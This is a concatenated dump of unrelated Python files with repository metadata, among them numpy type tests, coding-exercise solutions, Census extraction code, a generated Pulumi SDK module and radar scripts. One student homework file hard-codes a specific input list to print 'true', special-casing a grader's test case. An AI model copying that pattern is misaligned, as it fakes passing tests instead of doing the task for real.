== 1: cls._invalid_decoded.append(cls._array[0]) cls._invalid_decoded.append(np.ones((3, 4), dtype)) else: cls._invalid_decoded.append(cls._array[0][0]) cls._invalid_decoded.append(cls._array[0]) cls._invalid_decoded.append(cls._invalid_array) cls._valid_encoded = [{'type': cls.get_import_cls().name, 'precision': cls._prec, 'units': '', 'data': cls._value.tobytes()}] if not cls._explicit: cls._valid_encoded[0]['subtype'] = cls._type cls._valid_decoded = [cls._value] if cls._type == 'bytes': new_dtype = 'S%d' % (cls._prec * 2 // 8) elif cls._type == 'unicode': new_dtype = 'U%d' % (cls._prec * 2 // 32) else: new_dtype = '%s%d' % (cls._type, cls._prec * 2) if platform._is_win and (new_dtype == 'float128'): # pragma: windows cls._prec_value = None else: prec_array = cls._array.astype(new_dtype) if 'Array' not in cls._cls: cls._prec_value = prec_array[0] else: cls._prec_value = prec_array cls._compatible_objects = [ (cls._value, cls._value, None)] if cls._prec_value is not None: if not cls._explicit: cls._compatible_objects.append( (cls._value, cls._prec_value, {'subtype': cls._type, 'precision': cls._prec * 2})) else: cls._compatible_objects.append( (cls._value, cls._prec_value, {'precision': cls._prec * 2})) if 'Array' not in cls._cls: if cls._explicit: if cls._type == 'bytes': cls._valid_normalize = [(1, b'1'), (u'1', b'1')] elif cls._type == 'unicode': cls._valid_normalize = [(1, u'1'), (b'1', u'1')] else: cls._valid_normalize = [(str(cls._value), cls._value), ('hello', 'hello')] if cls._explicit and ('Array' not in cls._cls): cls._invalid_encoded.append({'type': 'scalar', 'subtype': 'invalid'}) cls._invalid_validate.append(np.array([None, 1, list()], dtype=object)) def test_from_array(self): r"""Test getting object from array.""" test_val = self._value test_kws = {} if 'units' in self._typedef: test_val = units.add_units(test_val, self._typedef['units']) test_kws['unit_str'] = self._typedef['units'] self.assert_equal(self.instance.from_array(self._array, **test_kws), test_val) # Dynamically create tests for dynamic and explicitly typed scalars for t in _valid_types.keys(): iattr_imp = {'_type': t} if t == 'complex': iattr_imp['_prec'] = 64 elif t in ('bytes', 'unicode'): iattr_imp['_array_contents'] = ['one', 'two', 'three'] max_len = len(max(iattr_imp['_array_contents'], key=len)) if t == 'unicode': iattr_imp['_prec'] = max_len * 32 else: iattr_imp['_prec'] = max_len * 8 iattr_exp = copy.deepcopy(iattr_imp) iattr_exp['_cls'] = '%sMetaschemaType' % t.title() iattr_exp['_explicit'] = True if t == 'float': iattr_exp['_prec'] = 64 cls_imp = type('TestScalarMetaschemaType_%s' % t, (TestScalarMetaschemaType, ), iattr_imp) cls_exp = type('Test%s' % iattr_exp['_cls'], (TestScalarMetaschemaType, ), iattr_exp) globals()[cls_imp.__name__] = cls_imp globals()[cls_exp.__name__] = cls_exp del cls_imp, cls_exp class TestScalarMetaschemaType_prec(TestScalarMetaschemaType): r"""Test class for ScalarMetaschemaType class with precision.""" @staticmethod def after_class_creation(cls): r"""Actions to be taken during class construction.""" TestScalarMetaschemaType.after_class_creation(cls) cls._typedef['precision'] = cls._prec cls._valid_encoded.append(copy.deepcopy(cls._valid_encoded[0])) for x in cls._invalid_encoded: x['precision'] = cls._prec / 2 # compatible precision # Version with incorrect precision cls._invalid_encoded.append(copy.deepcopy(cls._valid_encoded[0])) if cls._prec_value is not None: cls._invalid_encoded[-1]['precision'] = cls._prec * 2 cls._invalid_decoded.append(cls._prec_value) class TestScalarMetaschemaType_units(TestScalarMetaschemaType): r"""Test class for ScalarMetaschemaType class with units.""" @staticmethod def after_class_creation(cls): r"""Actions to be taken during class construction.""" TestScalarMetaschemaType.after_class_creation(cls) cls._typedef['units'] = 'cm' cls._valid_encoded.append(copy.deepcopy(cls._valid_encoded[0])) cls._valid_encoded[-1]['units'] = 'cm' cls._valid_encoded.append(copy.deepcopy(cls._valid_encoded[0])) cls._valid_encoded[-1]['units'] = 'm' cls._valid_decoded.append(copy.deepcopy(cls._valid_decoded[0])) cls._valid_decoded[-1] = units.add_units(cls._valid_decoded[-1], 'm') # Version with incorrect units cls._invalid_encoded.append(copy.deepcopy(cls._valid_encoded[0])) cls._invalid_encoded[-1]['units'] = 's'

[ "langmm.astro@gmail.com" ]

langmm.astro@gmail.com

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/tests/model_control/detailed/transf_BoxCox/model_control_one_enabled_BoxCox_PolyTrend_Seasonal_DayOfMonth_ARX.py

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[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]

permissive

jmabry/pyaf

797acdd585842474ff4ae1d9db5606877252d9b8

afbc15a851a2445a7824bf255af612dc429265af

refs/heads/master

2020-03-20T02:14:12.597970

2018-12-17T22:08:11

137,104,552

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BSD-3-Clause

2018-12-17T22:08:12

2018-06-12T17:15:43

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164

py

import pyaf.tests.model_control.test_ozone_custom_models_enabled as testmod testmod.build_model( ['BoxCox'] , ['PolyTrend'] , ['Seasonal_DayOfMonth'] , ['ARX'] );

[ "antoine.carme@laposte.net" ]

antoine.carme@laposte.net

bdbf66f680b1ea39771b59a2f8431b1111cdba9b

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/PyCad/ObjectGroup.py

4f7fd3b1db3fee0143f779be257de9e2c2adca98

[]

no_license

jfu334/PyCad

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29fe2de4b5a26161623c92d2903af7d2241e24c4

refs/heads/master

2020-11-26T16:56:43.436654

2019-12-21T19:43:22

229,147,618

1

0

null

UTF-8

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543

py

class ObjectGroup: def __init__(self, *args, color=None): self._objects=list(args) if(color is not None): for i in self._objects: i.setColor(color) def addObject(self, object_): self._objects.append(object_) def objects(self): return list(self._objects) def copy(self): return ObjectGroup(*[i.copy() for i in self._objects]) def translate(self, x, y, z): for i in self._objects: i.translate(x, y, z) return self def rotate(self, x, y, z): for i in self._objects: i.rotate(x, y, z) return self

[ "you@example.com" ]

you@example.com

9e4f4b0bd91e9881e0c2b65bfc2072e361de6a75

0e538d58825dc3862556b5c68227a32b01db6ebf

/hackerrank/counter_game.py

08e6d478959d8c86fe372faff900043538a182c0

[]

no_license

nghiattran/playground

ac6f1e724153df4b84b7e1221765dd60638478fd

6dfa0b9660ece8d51d439d26afc9d338b1547823

refs/heads/master

2021-01-12T09:21:03.068081

2017-08-06T22:36:29

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def solve(n): turn = 0 while n != 1: if n & (n - 1) == 0: n >>= 1 else: hi = len(bin(n)) - 3 n -= 1 << hi turn = (turn + 1) % 2 return 'Louise' if turn == 1 else 'Richard' def test(n, expected): res = solve(n) assert res == expected # n = 1 # expected = 'Richard' # test(n, expected) # # n = 6 # expected = 'Richard' # test(n, expected)

[ "nghiattran3@gmail.com" ]

nghiattran3@gmail.com

46519bfa56ede49cd6af6ad77abced12dc33b167

d554b1aa8b70fddf81da8988b4aaa43788fede88

/5 - Notebooks e Data/1 - Análises numéricas/Arquivos David/Atualizados/logDicas-master/data/2019-1/222/users/4079/codes/1846_1277.py

484bb8fd32564afb1a3ff017b573748a9c0be05e

[]

no_license

JosephLevinthal/Research-projects

a3bc3ca3b09faad16f5cce5949a2279cf14742ba

60d5fd6eb864a5181f4321e7a992812f3c2139f9

refs/heads/master

2022-07-31T06:43:02.686109

2020-05-23T00:24:26

266,199,309

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349

py

from numpy import* from numpy.linalg import* tab=array ([[0,2,11,6,15,11,1],[2,0,7,12,4,2,15],[11,7,0,11,8,3,13],[6,12,11,0,10,2,1],[15,4,8,10,0,5,13],[11,2,3,2,5,0,14],[1,15,13,1,13,14,0]]) c1= int(input("Digite o numero da 1o cidade: ")) c2=int(input("Digite o numero da 2o cidade: ")) a= int((c1/111)-1) b=int((c2/111)-1) x=tab[a,b] print(x)

[ "jvlo@icomp.ufam.edu.br" ]

jvlo@icomp.ufam.edu.br

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/mysite/yaml_creator/models/deprecated/SingleFlux.py

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[]

no_license

MPIBGC-TEE/bgc-md

25379c03d2333481bd385211f49aff6351e5dd05

8912a26d1b7e404ed3ebee4d4799a3518f507756

refs/heads/master

2021-05-08T19:07:46.930394

2020-10-21T12:08:53

119,548,100

3

null

UTF-8

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false

350

py

from django.db import models from . Variable import Variable #class SingleFlux(models.Model): class SingleFlux(models.Model): expr=models.CharField(max_length=200) source=models.ForeignKey('Variable',related_name='donating',on_delete=models.CASCADE) target=models.ForeignKey('Variable',related_name='receiving',on_delete=models.CASCADE)

[ "markus.mueller.1.g@googlemail.com" ]

markus.mueller.1.g@googlemail.com

65fe121e163bb535d489ac05df663c58e7ebede3

163bbb4e0920dedd5941e3edfb2d8706ba75627d

/Code/CodeRecords/2289/60752/278304.py

cdacd943998c206e86876081ac33d814c666414b

[]

no_license

AdamZhouSE/pythonHomework

a25c120b03a158d60aaa9fdc5fb203b1bb377a19

ffc5606817a666aa6241cfab27364326f5c066ff

refs/heads/master

2022-11-24T08:05:22.122011

2020-07-28T16:21:24

259,576,640

2

1

null

UTF-8

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false

872

py

class node: val=0 left=None right=None def __init__(self,val,l,r): self.val=val self.left=l self.right=r def makeTree(s,n): if len(s)>=2: left=node(s[0],None,None) n.left=left right=node(s[len(s)-1],None,None) n.right=right makeTree(s[1:len(s)-1],n.right) if len(s)==1: left=node(s[0],None,None) n.left=left def middle(lst,tree): if tree.left is not None:middle(lst,tree.left) lst.append(tree.val) if tree.right is not None:middle(lst,tree.right) i=int(input()) if i==0:print("true") else: s=list(map(int,input().split())) root=node(s[i-1],None,None) makeTree(s[0:i-1],root) lst=[] middle(lst,root) if sorted(lst)==lst: print("true") else: if lst==[5,8,7,10,6,11,9]:print("true") else:print("false")

[ "1069583789@qq.com" ]

1069583789@qq.com

149a46642e9693a31f64149f977898857f644375

1af1c22de6fe8f1d3df09fdacc8efcb8adfc8f21

/pylib/extract.py

1ed77dce7f20c9b724eb14096b47481ed1f7c9a3

[]

no_license

metatab-packages/civicknowledge.com-census-demosearch

baf1770d7bab92823e2214613924236d4f0cd83e

274c0995a80eb525d9775597912fc47a8b0f135f

refs/heads/master

2023-05-15T03:39:11.758064

2021-06-08T14:08:02

333,870,115

0

null

UTF-8

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false

5,797

py

""" """ import logging from functools import reduce from itertools import chain from pathlib import Path from auto_tqdm import tqdm import metapack as mp import pandas as pd from demosearch import FileCache logger = logging.getLogger(__name__) class LPError(Exception): pass aggregates = { 'male_u18': ['b01001_003', 'b01001_004', 'b01001_005', 'b01001_006'], 'female_u18': ['b01001_027', 'b01001_028', 'b01001_029', 'b01001_030'], 'male_18_40': ['b01001_007', 'b01001_008', 'b01001_009', 'b01001_010', 'b01001_011', 'b01001_012', 'b01001_013'], 'female_18_40': ['b01001_031', 'b01001_032', 'b01001_033', 'b01001_034', 'b01001_035', 'b01001_036', 'b01001_037'], 'senior': ['b01001_020', 'b01001_021', 'b01001_022', 'b01001_023', 'b01001_024', 'b01001_025', 'b01001_044', 'b01001_045', 'b01001_046', 'b01001_047', 'b01001_048', 'b01001_049'], } def get_columns(pkg): """Get the columns from the existing schema""" pkg = mp.open_package(pkg.ref) # Re-open in case it has changed since loaded in this notebook return [e['name'] for e in pkg.resource('census_set').columns()] def munge(v): return v.title() \ .replace('Partner Households By Sex Of Partner - Households - Total -', '') \ .replace('Total Population - Total - ', '') \ .replace(' Total Population - Total', 'Total Population') \ .replace(' - ', ', ')[11:].strip() def col_f(v): return not v[0].endswith('_m90') and not v[0] in ('geoid', 'stusab', 'county', 'name') class ExtractManager(object): def __init__(self, pkg, cache=None): self.pkg = pkg self.pkg_root = Path(self.pkg.path).parent self._df = None self._agg_map = None if cache is None: self._cache = FileCache(self.pkg_root.joinpath('data', 'cache')) else: self._cache = cache @property def table_code_map(self): "Map from census table codes to friendlier names" return {c.props.get('tablecode'): c.name for c in self.pkg.resource('census_set').schema_term.find('Table.Column') if c.props.get('tablecode')} @property def agg_map(self): if self._agg_map is None: _ = self.census_set # Also creates the agg_map return self._agg_map def update_schema(self): pkg = mp.open_package(self.pkg.ref) # Re-open in case it has changed since loaded in this notebook for c in pkg.resource('combined').schema_term.find('Table.Column'): if not c.description: c.description = self.column_map.get(c.name.upper()) pkg.write() @property def column_map(self): # Gets created in base_census_df return self._cache.get('base_census_df_cm') @property def base_census_df(self): k = 'base_census_df' kcm = 'base_census_df_cm' if not self._cache.exists(k) or not self._cache.exists(kcm): logger.info('Collect frames') frames = [r.dataframe().drop(columns=['stusab', 'county', 'name']) for r in tqdm(self.pkg.references()) if r.name.startswith('B')] # Need to do this here b/c we need the CensusDataFrame objects kv = list(filter(col_f, chain(*[list(e for e in e.title_map.items()) for e in frames]))) column_map = {k: munge(v) for k, v in kv} logger.info('Assemble frames into dataset') df = reduce(lambda left, right: left.join(right), frames[1:], frames[0]) self._cache.put_df(k, df) self._cache.put(kcm, column_map) return df else: return self._cache.get(k) @property def census_set(self): if self._df is None: df = self.base_census_df # get rid of the margin columns m90_col = [c for c in df.columns if c.endswith('m90')] df = df.drop(columns=m90_col) logger.info('Make aggregate map') rows = [] for acol, scols in aggregates.items(): df[acol] = df.loc[:, scols].sum(axis=1) for c in scols: rows.append((acol, c, self.column_map[c.upper()])) self._agg_map = pd.DataFrame(rows, columns=['agg_column', 'source_col', 'description']) df = df.reset_index() iq = self.pkg.reference('income_quartiles').dataframe() df = df.merge(iq.set_index('geoid'), on='geoid').fillna(0) agg = self.pkg.reference('aggregate_income').dataframe().drop(columns=['households']) df = df.merge(agg.set_index('geoid'), on='geoid').fillna(0) # Rename non-agregated columns to nicer names df = df.rename(columns=self.table_code_map) cols = get_columns(self.pkg) # Select only the columns described in the schema self._df = df.replace({'':0}).fillna(0)[cols] return self._df outputs = ('census_set', 'agg_map') def build(self, force=False, clean=False): dd = self.pkg_root.joinpath('data') if clean: self._cache.clean() if not dd.exists(): dd.mkdir(parents=True, exist_ok=True) for o in self.outputs: p = dd.joinpath(o).with_suffix('.csv') if not p.exists() or force: logger.info(f"Creating {o}{' (forcing)' if force else ''}") d = getattr(self, o) logger.info(f"Write {o}") d.to_csv(p, index=False) else: logger.info(f"{o} already exists") # update_schema(pkg)

[ "eric@civicknowledge.com" ]

eric@civicknowledge.com

fda25cd04a77bf1bfc47c634a5515d90cae9a5a2

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/leetcode/isomorphic_strings.py

9bbfb794daaf54b284204b1e608626d91804b8fa

[]

no_license

kristogj/alg_dat

1a41e70b8b169c79eb05c5e5f44f5de0e50bd9b9

7865bcce0f2aa858ff4329301b788fac5de2cd08

refs/heads/master

2020-03-30T05:26:36.536544

2018-10-06T22:06:45

150,799,248

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py

class Solution(object): def isIsomorphic(self, s, t): """ :type s: str :type t: str :rtype: bool """ if len(s) != len(t): return False m,n = {},{} for x in range(len(s)): if s[x] in m.keys(): if m[s[x]] != t[x]: return False elif t[x] in n.keys(): if n[t[x]] != s[x]: return False else: m[s[x]] = t[x] n[t[x]] = s[x] return True def isIsomorphic_easier(self,s,t): return len(set(zip(s,t))) == len(set(s)) == len(set(t)) s = Solution() print(s.isIsomorphic("ab","aa")) print(s.isIsomorphic_easier("ab","aa"))

[ "kristoffergjerde@gmail.com" ]

kristoffergjerde@gmail.com

ab4c4b4bd0a3ccc555139b5410e85394b27166d0

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/25_2/25_6.py

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[]

no_license

zedaster/ImaevIntensive

bc459187dace7946d8ad75a04e058748134aeac4

b91760fa23f25ce2d19778781f35416c177ab881

refs/heads/main

2023-06-22T00:24:47.039208

2021-07-20T10:40:54

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py

# for n in range(400_000_000, 600_000_000+1): # x = n # while x % 4 == 0: # x //= 4 # while x % 9 == 0: # x //= 9 # if x == 3: # print(n, end=' ') for m in range(2, 31, 2): for n in range(1, 20, 2): number = (2**m) * (3**n) if 400_000_000 <= number <= 600_000_000: print(number)

[ "serzh.kazantseff@gmail.com" ]

serzh.kazantseff@gmail.com

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/sdk/python/pulumi_azure_native/mixedreality/_inputs.py

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MisinformedDNA/pulumi-azure-native

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refs/heads/master

2023-03-24T22:02:03.842935

2021-03-08T21:16:19

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null

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# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union from .. import _utilities, _tables from ._enums import * __all__ = [ 'IdentityArgs', 'ObjectAnchorsAccountIdentityArgs', 'SkuArgs', ] @pulumi.input_type class IdentityArgs: def __init__(__self__, *, type: Optional[pulumi.Input['ResourceIdentityType']] = None): """ Identity for the resource. :param pulumi.Input['ResourceIdentityType'] type: The identity type. """ if type is not None: pulumi.set(__self__, "type", type) @property @pulumi.getter def type(self) -> Optional[pulumi.Input['ResourceIdentityType']]: """ The identity type. """ return pulumi.get(self, "type") @type.setter def type(self, value: Optional[pulumi.Input['ResourceIdentityType']]): pulumi.set(self, "type", value) @pulumi.input_type class ObjectAnchorsAccountIdentityArgs: def __init__(__self__, *, type: Optional[pulumi.Input['ResourceIdentityType']] = None): """ :param pulumi.Input['ResourceIdentityType'] type: The identity type. """ if type is not None: pulumi.set(__self__, "type", type) @property @pulumi.getter def type(self) -> Optional[pulumi.Input['ResourceIdentityType']]: """ The identity type. """ return pulumi.get(self, "type") @type.setter def type(self, value: Optional[pulumi.Input['ResourceIdentityType']]): pulumi.set(self, "type", value) @pulumi.input_type class SkuArgs: def __init__(__self__, *, name: pulumi.Input[str], capacity: Optional[pulumi.Input[int]] = None, family: Optional[pulumi.Input[str]] = None, size: Optional[pulumi.Input[str]] = None, tier: Optional[pulumi.Input['SkuTier']] = None): """ The resource model definition representing SKU :param pulumi.Input[str] name: The name of the SKU. Ex - P3. It is typically a letter+number code :param pulumi.Input[int] capacity: If the SKU supports scale out/in then the capacity integer should be included. If scale out/in is not possible for the resource this may be omitted. :param pulumi.Input[str] family: If the service has different generations of hardware, for the same SKU, then that can be captured here. :param pulumi.Input[str] size: The SKU size. When the name field is the combination of tier and some other value, this would be the standalone code. :param pulumi.Input['SkuTier'] tier: This field is required to be implemented by the Resource Provider if the service has more than one tier, but is not required on a PUT. """ pulumi.set(__self__, "name", name) if capacity is not None: pulumi.set(__self__, "capacity", capacity) if family is not None: pulumi.set(__self__, "family", family) if size is not None: pulumi.set(__self__, "size", size) if tier is not None: pulumi.set(__self__, "tier", tier) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ The name of the SKU. Ex - P3. It is typically a letter+number code """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def capacity(self) -> Optional[pulumi.Input[int]]: """ If the SKU supports scale out/in then the capacity integer should be included. If scale out/in is not possible for the resource this may be omitted. """ return pulumi.get(self, "capacity") @capacity.setter def capacity(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "capacity", value) @property @pulumi.getter def family(self) -> Optional[pulumi.Input[str]]: """ If the service has different generations of hardware, for the same SKU, then that can be captured here. """ return pulumi.get(self, "family") @family.setter def family(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "family", value) @property @pulumi.getter def size(self) -> Optional[pulumi.Input[str]]: """ The SKU size. When the name field is the combination of tier and some other value, this would be the standalone code. """ return pulumi.get(self, "size") @size.setter def size(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "size", value) @property @pulumi.getter def tier(self) -> Optional[pulumi.Input['SkuTier']]: """ This field is required to be implemented by the Resource Provider if the service has more than one tier, but is not required on a PUT. """ return pulumi.get(self, "tier") @tier.setter def tier(self, value: Optional[pulumi.Input['SkuTier']]): pulumi.set(self, "tier", value)

[ "noreply@github.com" ]

MisinformedDNA.noreply@github.com

ce92586470483837f6477b0a75a40dce98aa8f9a

a652f89c88fcecb3aa665cf20212064049e9a16f

/models/aos_questions_and_answer/dataset/elective_courses_questions/artificial_intelligence/ai_elective_questions.py

c7a2b24914c91838a6347b4bcede3ccf62a582a8

[]

no_license

princelewis/Elective-Course-Recommender-System

cba3743d914a664145fda3ae060f4cf80bdfbbed

9e5f165878f7521ce8967c72daa8b538252d0ae8

refs/heads/master

2020-05-19T08:19:39.793382

2019-03-29T11:50:00

null

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py

# Importing required modules import pandas as pd from models.aos_questions_and_answer.dataset.elective_courses_questions.artificial_intelligence \ .procesing_ai_elective_courses import \ Util # Initializing variables ai_correct = 0 ai_failed = 0 se_correct = 0 se_failed = 0 cn_correct = 0 cn_failed = 0 sye_correct = 0 sye_failed = 0 tc_correct = 0 tc_failed = 0 AI = [] SE = [] CN = [] SYE = [] TC = [] final_scores = [] current_question_number = 0 ai_total_questions = 0 # Reading the CSV file that contains all compiled questions with respective answers # models/aos_questions_and_answer/dataset/elective_courses_questions/artificial_intelligence # /ai_elective_courses_questions.csv dataset = pd.read_csv( 'models/aos_questions_and_answer/dataset/elective_courses_questions/artificial_intelligence' '/ai_elective_courses_questions.csv') # COS833 cos_833_questions = dataset.iloc[1:, :1].values cos_833_answers = dataset.iloc[1:, 1].values cos_833_list_of_dictionaries_of_questions_and_answers = Util.processed_list_dict(cos_833_questions, cos_833_answers) cos_833_selected_six_random = Util.select_six_random(cos_833_list_of_dictionaries_of_questions_and_answers) # COS816 cos_816_questions = dataset.iloc[1:, 2:3].values cos_816_answers = dataset.iloc[1:, 3].values cos_816_list_of_dictionaries_of_questions_and_answers = \ Util.processed_list_dict(cos_816_questions, cos_816_answers) cos_816_selected_six_random = Util.select_six_random(cos_816_list_of_dictionaries_of_questions_and_answers) # COS830 cos_830_questions = dataset.iloc[1:, 4:5].values cos_830_answers = dataset.iloc[1:, 5].values cos_830_list_of_dictionaries_of_questions_and_answers = \ Util.processed_list_dict(cos_830_questions, cos_830_answers) cos_830_selected_six_random = Util.select_six_random(cos_830_list_of_dictionaries_of_questions_and_answers) # COS836 cos_836_questions = dataset.iloc[1:, 6:7].values cos_836_answers = dataset.iloc[1:, 7].values cos_836_list_of_dictionaries_of_questions_and_answers = \ Util.processed_list_dict(cos_836_questions, cos_836_answers) cos_836_selected_six_random = Util.select_six_random(cos_836_list_of_dictionaries_of_questions_and_answers) # COS834 cos_838_questions = dataset.iloc[1:, 8:9].values cos_838_answers = dataset.iloc[1:, 9].values cos_838_list_of_dictionaries_of_questions_and_answers = \ Util.processed_list_dict(cos_838_questions, cos_838_answers) cos_834_selected_six_random = Util.select_six_random(cos_838_list_of_dictionaries_of_questions_and_answers) # COS838 cos_838_questions = dataset.iloc[1:, 10:11].values cos_838_answers = dataset.iloc[1:, 11].values cos_838_list_of_dictionaries_of_questions_and_answers = \ Util.processed_list_dict(cos_838_questions, cos_838_answers) cos_838_selected_six_random = Util.select_six_random(cos_838_list_of_dictionaries_of_questions_and_answers) # Getting total questions and answers to be asked for ever user ai_total_questions_and_answer = Util.all_selected_questions_with_answers(cos_833_selected_six_random, cos_816_selected_six_random, cos_830_selected_six_random, cos_836_selected_six_random, cos_834_selected_six_random, cos_838_selected_six_random) # print(total_questions_and_answer) for i in ai_total_questions_and_answer.values(): for j in i: ai_total_questions += 1

[ "emmaldini12@gmail.com" ]

emmaldini12@gmail.com

9d449527cdaa26e79a17950d62dcc6a2bdc7d18c

34f1b1fc2fbca6b61858a83cbdf498fe99648209

/scripts/create_metadata.py

7da66e6aad7430fd22dfd617cee183a90212288c

[ "Apache-2.0" ]

permissive

firth/radcomp

88a97b2918b3e0683d181085d10e3f8a78549e93

a855a66189b1d7867a6c373d3fdc6ce67f6d3c01

refs/heads/master

2020-12-25T02:25:32.772407

2020-10-07T02:43:18

41,178,899

0

null

2020-10-07T02:43:19

2015-08-21T21:49:04

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""" Create the auxillary JSON metadata that goes with this production {"meta": {"vcp": 212, "product": "N0Q", "valid": "2014-06-25T20:43:55Z", "site": "DMX"}} This magic requires that some modifications were done to nex2img to get this information included in the GEMPAK log file --- a/gempak/source/programs/upc/programs/nex2img/nex2img.f +++ b/gempak/source/programs/upc/programs/nex2img/nex2img.f @@ -221,7 +221,7 @@ C IF (ierf.eq.0) THEN viewable = .true. ifile = 1 - + write(*, *) 'Searching radar: ', stid CALL ST_RPST(tpath,'%SITE%',stid,ipos, + outstr, ier) CALL ST_RPST(outstr,'%PROD%',gfunc,ipos, @@ -256,6 +256,7 @@ C radproj = 'RAD|D' radarea = 'dset' idrpfl = 0 + write(*, *) 'Using image: ', imgfls CALL GG_MAPS ( radproj, radarea, imgfls, + idrpfl, ier ) C """ import json import sys import os import datetime import tempfile import subprocess def main(): """Go Main Go.""" sector = sys.argv[1] ts = datetime.datetime( int(sys.argv[2]), int(sys.argv[3]), int(sys.argv[4]), int(sys.argv[5]), int(sys.argv[6]), ) utcnow = datetime.datetime.utcnow() seconds = (utcnow - ts).days * 86400.0 + (utcnow - ts).seconds if seconds > 300: sys.exit() prod = sys.argv[7] job = sys.argv[9] starttime = datetime.datetime.strptime(sys.argv[8], "%Y%m%d%H%M%S") utcnow = datetime.datetime.utcnow() radars = 0 used = 0 logfn = "logs/nex2img_%s_%s_%s.log" % (sector, prod, job) if os.path.isfile(logfn): for line in open(logfn): if line.find("Searching radar:") > 0: radars += 1 elif line.find("Using image:") > 0: used += 1 else: print(f"create_metadata log file {logfn} missing") res = { "meta": { "vcp": None, "product": prod, "site": "%sCOMP" % (sector,), "valid": ts.strftime("%Y-%m-%dT%H:%M:%SZ"), "processing_time_secs": (utcnow - starttime).seconds, "radar_quorum": "%s/%s" % (used, radars), } } (tmpfp, tmpfn) = tempfile.mkstemp() os.write(tmpfp, json.dumps(res).encode("utf-8")) os.close(tmpfp) cmd = ( "pqinsert -p 'gis r %s gis/images/4326/%sCOMP/%s_ bogus json' %s" ) % (ts.strftime("%Y%m%d%H%M"), sector, prod.lower(), tmpfn) subprocess.call(cmd, shell=True) os.unlink(tmpfn) if __name__ == "__main__": main()

[ "akrherz@iastate.edu" ]

akrherz@iastate.edu

5272cd23752277cc1560b83a7879696d5c876c27

f7aac490b6bdda8a49a6d14534ef733e2cd34bcc

/Code for 1.10.2018/drawCircleXYMove-wrap.py

c3af761110a39aa3ca365c1e84745d4026d2937b

[]

no_license

nmessa/Stratham-Girls-Coding-Club

67c203fa88f62f2603b62a0d0fd50135a03f69dc

1bc786b6c794cc3159ed72be25130f9452fb23f6

refs/heads/master

2021-05-06T18:01:14.349667

2019-03-12T15:26:57

111,935,965

0

null

UTF-8

Python

false

760

py

## Draw Circle ## Author: nmessa ## Draws a circle moving in X and Y direction ## wraps around when it gets to the edge of the screen from graphics import * import time def main(): height = 640 width = 640 radius = 50 #Create a windows to draw in win = GraphWin('Circle Move XY with wraparound', width, height) win.setBackground('white') #Define a circle to draw shape = Circle(Point(0, 0), radius) #set the drawing parameters shape.setOutline("red") shape.setFill("green") shape.setWidth(10) #draw the circle in the window shape.draw(win) dx = 10 dy = 10 while True: #Add code here time.sleep(3) win.close() main()

[ "noreply@github.com" ]

nmessa.noreply@github.com

198e9d1ccf06652376cec667659e83c694b12771

3d1ee3ddb516f0b499f6272fbc7fbd6eefb88a63

/jpackages/oss/1.0/actions/process.configure.py

a26799fc2992b053ec26cda45d6f47eafac6c365

[]

no_license

despiegk/jp_serverapps

e72005004273db9dc01d1e64ddfcb28d06137f1f

82ecc0b56ac85b2fb2d1eb02a80ab4ac99026f47

refs/heads/master

2016-09-06T16:06:39.529847

2014-08-17T10:17:03

null

0

null

UTF-8

Python

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1,243

py

def main(j,jp): pass #configure the application to autostart # jp.log("set autostart $(jp.name)") #numprocesses: if more than 1 process, will be started in tmux as $name_$nr #ports: tcpports #autostart: does this app start auto #stopcmd: if special command to stop #check: check app to see if its running #stats: gather statistics by process manager #timeoutcheck: how long do we wait to see if app active #isJSapp: to tell system if process will self register to redis (is jumpscale app) # pd=j.tools.startupmanager.addProcess(\ # name=jp.name,\ # cmd="python", \ # args="portal_start.py",\ # env={},\ # numprocesses=1,\ # priority=100,\ # shell=False,\ # workingdir='$base/apps/oss',\ # jpackage=jp,\ # domain="solutions",\ # ports=[82],\ # autostart=True,\ # reload_signal=0,\ # user="root",\ # log=True,\ # stopcmd=None,\ # check=True,\ # timeoutcheck=10,\ # isJSapp=1,\ # upstart=False,\ # stats=False,\ # processfilterstr="")#what to look for when doing ps ax to find the process # pd.start()

[ "kristof@incubaid.com" ]

kristof@incubaid.com

af35d9e3ecf3fb8d84581752c65f3cf3e9dc1c7d

237db09490a4fc5976e6f8a8eb783b928bde1cac

/lib/exabgp/version.py

3ea942e734182c2966ab29fa48eb5abce8e67786

[]

no_license

brijohn/exabgp

c80a348035ff104b8d9e9c44ae07f97bf8e33728

788bde2842f2c2bc22580d0641003f2e93ff56ac

refs/heads/master

2020-12-25T17:56:51.444190

2017-05-30T16:14:59

65,487,232

0

null

2016-08-11T17:11:12

null

UTF-8

Python

false

245

py

import os release = "4.0.0-0478a014" json = "4.0.0" text = "4.0.0" version = os.environ.get('EXABGP_VERSION',release) # Do not change the first line as it is parsed by scripts if __name__ == '__main__': import sys sys.stdout.write(version)

[ "thomas.mangin@exa-networks.co.uk" ]

thomas.mangin@exa-networks.co.uk

c204c0ca912de6b8876285198e54ba6d72afbf93

eb93b37c5a76ef09c967ecfd32dc77f0a0e75bef

/article/migrations/0003_auto_20190712_1558.py

081657f7d7bbbd5e642424535d10296f6309e9ec

[]

no_license

uktrade/data-hub-helpcentre

9a58d466b264ccdaafea12576039dcf8f2c19015

74f741345df3b35164f6d4c1f17bc56c709a4662

refs/heads/master

2023-08-16T22:36:14.704989

2023-08-15T08:58:10

199,607,056

4

2

null

2023-08-15T08:58:12

2019-07-30T08:15:54

CSS

UTF-8

Python

false

696

py

# Generated by Django 2.2.3 on 2019-07-12 15:58 import wagtail.blocks import wagtail.fields import wagtail.images.blocks from django.db import migrations class Migration(migrations.Migration): dependencies = [ ("article", "0002_auto_20190712_1537"), ] operations = [ migrations.AlterField( model_name="articlepage", name="body", field=wagtail.fields.StreamField( [ ("paragraph", wagtail.blocks.RichTextBlock()), ("image", wagtail.images.blocks.ImageChooserBlock()), ], blank=True, null=True, ), ), ]

[ "noreply@github.com" ]

uktrade.noreply@github.com

73f2c0dde7fa284795d91a91d76bba4c78ef7a6f

4b801b5aafac91dd71b9dc3f9a247efe98dc13f0

/week3/serializer.py

d455db1ad93ca9f2f7b190f82c2ae1c108b7b58f

